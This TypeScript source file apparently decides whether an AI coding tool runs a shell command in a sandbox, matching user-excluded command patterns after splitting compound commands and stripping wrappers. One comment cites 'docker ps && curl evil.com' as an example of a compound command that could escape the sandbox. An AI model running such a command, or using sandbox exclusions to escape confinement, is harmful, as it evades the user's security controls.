File size: 5,185 Bytes
064bfd6 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 | import { getFeatureValue_CACHED_MAY_BE_STALE } from 'src/services/analytics/growthbook.js'
import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
import { getSettings_DEPRECATED } from '../../utils/settings/settings.js'
import {
BINARY_HIJACK_VARS,
bashPermissionRule,
matchWildcardPattern,
stripAllLeadingEnvVars,
stripSafeWrappers,
} from './bashPermissions.js'
type SandboxInput = {
command?: string
dangerouslyDisableSandbox?: boolean
}
// NOTE: excludedCommands is a user-facing convenience feature, not a security boundary.
// It is not a security bug to be able to bypass excludedCommands — the sandbox permission
// system (which prompts users) is the actual security control.
function containsExcludedCommand(command: string): boolean {
// Check dynamic config for disabled commands and substrings (only for ants)
if (process.env.USER_TYPE === 'ant') {
const disabledCommands = getFeatureValue_CACHED_MAY_BE_STALE<{
commands: string[]
substrings: string[]
}>('tengu_sandbox_disabled_commands', { commands: [], substrings: [] })
// Check if command contains any disabled substrings
for (const substring of disabledCommands.substrings) {
if (command.includes(substring)) {
return true
}
}
// Check if command starts with any disabled commands
try {
const commandParts = splitCommand_DEPRECATED(command)
for (const part of commandParts) {
const baseCommand = part.trim().split(' ')[0]
if (baseCommand && disabledCommands.commands.includes(baseCommand)) {
return true
}
}
} catch {
// If we can't parse the command (e.g., malformed bash syntax),
// treat it as not excluded to allow other validation checks to handle it
// This prevents crashes when rendering tool use messages
}
}
// Check user-configured excluded commands from settings
const settings = getSettings_DEPRECATED()
const userExcludedCommands = settings.sandbox?.excludedCommands ?? []
if (userExcludedCommands.length === 0) {
return false
}
// Split compound commands (e.g. "docker ps && curl evil.com") into individual
// subcommands and check each one against excluded patterns. This prevents a
// compound command from escaping the sandbox just because its first subcommand
// matches an excluded pattern.
let subcommands: string[]
try {
subcommands = splitCommand_DEPRECATED(command)
} catch {
subcommands = [command]
}
for (const subcommand of subcommands) {
const trimmed = subcommand.trim()
// Also try matching with env var prefixes and wrapper commands stripped, so
// that `FOO=bar bazel ...` and `timeout 30 bazel ...` match `bazel:*`. Not a
// security boundary (see NOTE at top); the &&-split above already lets
// `export FOO=bar && bazel ...` match. BINARY_HIJACK_VARS kept as a heuristic.
//
// We iteratively apply both stripping operations until no new candidates are
// produced (fixed-point), matching the approach in filterRulesByContentsMatchingInput.
// This handles interleaved patterns like `timeout 300 FOO=bar bazel run`
// where single-pass composition would fail.
const candidates = [trimmed]
const seen = new Set(candidates)
let startIdx = 0
while (startIdx < candidates.length) {
const endIdx = candidates.length
for (let i = startIdx; i < endIdx; i++) {
const cmd = candidates[i]!
const envStripped = stripAllLeadingEnvVars(cmd, BINARY_HIJACK_VARS)
if (!seen.has(envStripped)) {
candidates.push(envStripped)
seen.add(envStripped)
}
const wrapperStripped = stripSafeWrappers(cmd)
if (!seen.has(wrapperStripped)) {
candidates.push(wrapperStripped)
seen.add(wrapperStripped)
}
}
startIdx = endIdx
}
for (const pattern of userExcludedCommands) {
const rule = bashPermissionRule(pattern)
for (const cand of candidates) {
switch (rule.type) {
case 'prefix':
if (cand === rule.prefix || cand.startsWith(rule.prefix + ' ')) {
return true
}
break
case 'exact':
if (cand === rule.command) {
return true
}
break
case 'wildcard':
if (matchWildcardPattern(rule.pattern, cand)) {
return true
}
break
}
}
}
}
return false
}
export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
if (!SandboxManager.isSandboxingEnabled()) {
return false
}
// Don't sandbox if explicitly overridden AND unsandboxed commands are allowed by policy
if (
input.dangerouslyDisableSandbox &&
SandboxManager.areUnsandboxedCommandsAllowed()
) {
return false
}
if (!input.command) {
return false
}
// Don't sandbox if the command contains user-configured excluded commands
if (containsExcludedCommand(input.command)) {
return false
}
return true
}
|